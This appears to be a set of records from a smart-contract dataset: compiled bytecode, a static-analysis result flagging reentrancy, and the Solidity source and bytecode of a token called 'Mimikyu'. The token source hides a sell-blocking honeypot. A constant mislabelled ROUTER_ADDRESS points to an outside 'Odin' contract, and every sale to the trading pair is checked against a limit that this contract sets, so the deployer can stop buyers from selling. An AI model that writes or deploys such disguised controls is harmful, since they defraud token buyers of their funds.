5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b785750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bce5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be4576000600a819055506004600b819055505b6000611bef306109db565b9050600e60159054906101000a900460ff16158015611c5c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c745750600e60169054906101000a900460ff165b15611c9c57611c8281611eb1565b60004790506000811115611c9a57611c9947611dd7565b5b505b505b611ca9838383612139565b505050565b6000838311158290611cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ced9190612e29565b60405180910390fd5b5060008385611d0591906131e2565b9050809150509392505050565b600080831415611d255760009050611d87565b60008284611d339190613188565b9050828482611d429190613157565b14611d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7990612eeb565b60405180910390fd5b809150505b92915050565b6000611dcf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612149565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e3f573d6000803e3d6000fd5b5050565b6000600854821115611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8190612e8b565b60405180910390fd5b6000611e946121ac565b9050611ea98184611d8d90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee957611ee86133b7565b5b604051908082528060200260200182016040528015611f175781602001602082028036833780820191505090505b5090503081600081518110611f2f57611f2e613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd157600080fd5b505afa158015611fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120099190612870565b8160018151811061201d5761201c613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611450565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120e8959493929190612fe6565b600060405180830381600087803b15801561210257600080fd5b505af1158015612116573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121448383836121d7565b505050565b60008083118290612190576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121879190612e29565b60405180910390fd5b506000838561219f9190613157565b9050809150509392505050565b60008060006121b96123a2565b915091506121d08183611d8d90919063ffffffff16565b9250505090565b6000806000806000806121e987612401565b95509550955095509550955061224786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232881612511565b61233284836125ce565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161238f9190612fcb565b60405180910390a3505050505050505050565b600080600060085490506000671bc16d674ec8000090506123d6671bc16d674ec80000600854611d8d90919063ffffffff16565b8210156123f457600854671bc16d674ec800009350935050506123fd565b81819350935050505b9091565b600080600080600080600080600061241e8a600a54600b54612608565b925092509250600061242e6121ac565b905060008060006124418e87878761269e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cae565b905092915050565b60008082846124c29190613101565b905083811015612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fe90612ecb565b60405180910390fd5b8091505092915050565b600061251b6121ac565b905060006125328284611d1290919063ffffffff16565b905061258681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e38260085461246990919063ffffffff16565b6008819055506125fe816009546124b390919063ffffffff16565b6009819055505050565b6000806000806126346064612626888a611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061265e6064612650888b611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061268782612679858c61246990919063ffffffff16565b61246990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b78589611d1290919063ffffffff16565b905060006126ce8689611d1290919063ffffffff16565b905060006126e58789611d1290919063ffffffff16565b9050600061270e82612700858761246990919063ffffffff16565b61246990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273a61273584613080565b61305b565b9050808382526020820190508285602086028201111561275d5761275c6133eb565b5b60005b8581101561278d57816127738882612797565b845260208401935060208301925050600181019050612760565b5050509392505050565b6000813590506127a681613701565b92915050565b6000815190506127bb81613701565b92915050565b600082601f8301126127d6576127d56133e6565b5b81356127e6848260208601612727565b91505092915050565b6000813590506127fe81613718565b92915050565b60008151905061281381613718565b92915050565b6000813590506128288161372f565b92915050565b60008151905061283d8161372f565b92915050565b600060208284031215612859576128586133f5565b5b600061286784828501612797565b91505092915050565b600060208284031215612886576128856133f5565b5b6000612894848285016127ac565b91505092915050565b600080604083850312156128b4576128b36133f5565b5b60006128c285828601612797565b92505060206128d385828601612797565b9150509250929050565b6000806000606084860312156128f6576128f56133f5565b5b600061290486828701612797565b935050602061291586828701612797565b925050604061292686828701612819565b9150509250925092565b60008060408385031215612947576129466133f5565b5b600061295585828601612797565b925050602061296685828601612819565b9150509250929050565b600060208284031215612986576129856133f5565b5b600082013567ffffffffffffffff8111156129a4576129a36133f0565b5b6129b0848285016127c1565b91505092915050565b6000602082840312156129cf576129ce6133f5565b5b60006129dd848285016127ef565b91505092915050565b6000602082840312156129fc576129fb6133f5565b5b6000612a0a84828501612804565b91505092915050565b600060208284031215612a2957612a286133f5565b5b6000612a3784828501612819565b91505092915050565b600080600060608486031215612a5957612a586133f5565b5b6000612a678682870161282e565b9350506020612a788682870161282e565b9250506040612a898682870161282e565b9150509250925092565b6000612a9f8383612aab565b60208301905092915050565b612ab481613216565b82525050565b612ac381613216565b82525050565b6000612ad4826130bc565b612ade81856130df565b9350612ae9836130ac565b8060005b83811015612b1a578151612b018882612a93565b9750612b0c836130d2565b925050600181019050612aed565b5085935050505092915050565b612b3081613228565b82525050565b612b3f8161326b565b82525050565b6000612b50826130c7565b612b5a81856130f0565b9350612b6a81856020860161327d565b612b73816133fa565b840191505092915050565b6000612b8b6023836130f0565b9150612b968261340b565b604082019050919050565b6000612bae6019836130f0565b9150612bb98261345a565b602082019050919050565b6000612bd1602a836130f0565b9150612bdc82613483565b604082019050919050565b6000612bf46022836130f0565b9150612bff826134d2565b604082019050919050565b6000612c17601b836130f0565b9150612c2282613521565b602082019050919050565b6000612c3a6021836130f0565b9150612c458261354a565b604082019050919050565b6000612c5d6020836130f0565b9150612c6882613599565b602082019050919050565b6000612c806029836130f0565b9150612c8b826135c2565b604082019050919050565b6000612ca36025836130f0565b9150612cae82613611565b604082019050919050565b6000612cc6601a836130f0565b9150612cd182613660565b602082019050919050565b6000612ce96024836130f0565b9150612cf482613689565b604082019050919050565b6000612d0c6017836130f0565b9150612d17826136d8565b602082019050919050565b612d2b81613254565b82525050565b612d3a8161325e565b82525050565b6000602082019050612d556000830184612aba565b92915050565b6000604082019050612d706000830185612aba565b612d7d6020830184612aba565b9392505050565b6000604082019050612d996000830185612aba565b612da66020830184612d22565b9392505050565b600060c082019050612dc26000830189612aba565b612dcf6020830188612d22565b612ddc6040830187612b36565b612de96060830186612b36565b612df66080830185612aba565b612e0360a0830184612d22565b979650505050505050565b6000602082019050612e236000830184612b27565b92915050565b60006020820190508181036000830152612e438184612b45565b905092915050565b60006020820190508181036000830152612e6481612b7e565b9050919050565b60006020820190508181036000830152612e8481612ba1565b9050919050565b60006020820190508181036000830152612ea481612bc4565b9050919050565b60006020820190508181036000830152612ec481612be7565b9050919050565b60006020820190508181036000830152612ee481612c0a565b9050919050565b60006020820190508181036000830152612f0481612c2d565b9050919050565b60006020820190508181036000830152612f2481612c50565b9050919050565b60006020820190508181036000830152612f4481612c73565b9050919050565b60006020820190508181036000830152612f6481612c96565b9050919050565b60006020820190508181036000830152612f8481612cb9565b9050919050565b60006020820190508181036000830152612fa481612cdc565b9050919050565b60006020820190508181036000830152612fc481612cff565b9050919050565b6000602082019050612fe06000830184612d22565b92915050565b600060a082019050612ffb6000830188612d22565b6130086020830187612b36565b818103604083015261301a8186612ac9565b90506130296060830185612aba565b6130366080830184612d22565b9695505050505050565b60006020820190506130556000830184612d31565b92915050565b6000613065613076565b905061307182826132b0565b919050565b6000604051905090565b600067ffffffffffffffff82111561309b5761309a6133b7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310c82613254565b915061311783613254565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314c5761314b61332a565b5b828201905092915050565b600061316282613254565b915061316d83613254565b92508261317d5761317c613359565b5b828204905092915050565b600061319382613254565b915061319e83613254565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d7576131d661332a565b5b828202905092915050565b60006131ed82613254565b91506131f883613254565b92508282101561320b5761320a61332a565b5b828203905092915050565b600061322182613234565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327682613254565b9050919050565b60005b8381101561329b578082015181840152602081019050613280565b838111156132aa576000848401525b50505050565b6132b9826133fa565b810181811067ffffffffffffffff821117156132d8576132d76133b7565b5b80604052505050565b60006132ec82613254565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561331f5761331e61332a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370a81613216565b811461371557600080fd5b50565b61372181613228565b811461372c57600080fd5b50565b61373881613254565b811461374357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205970b882da582596313f7313700d9a629d002fb42f9710dad62acf3e72a12dc064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,112
0xfdfeb2e1592bf2566e8410c6f9963ef43705b634
//SPDX-License-Identifier: MIT // Telegram: t.me/MimikyuToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Mimikyu"; string constant TOKEN_SYMBOL="MIMIKYU"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Mimikyu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600781526020017f4d696d696b797500000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d494d494b595500000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c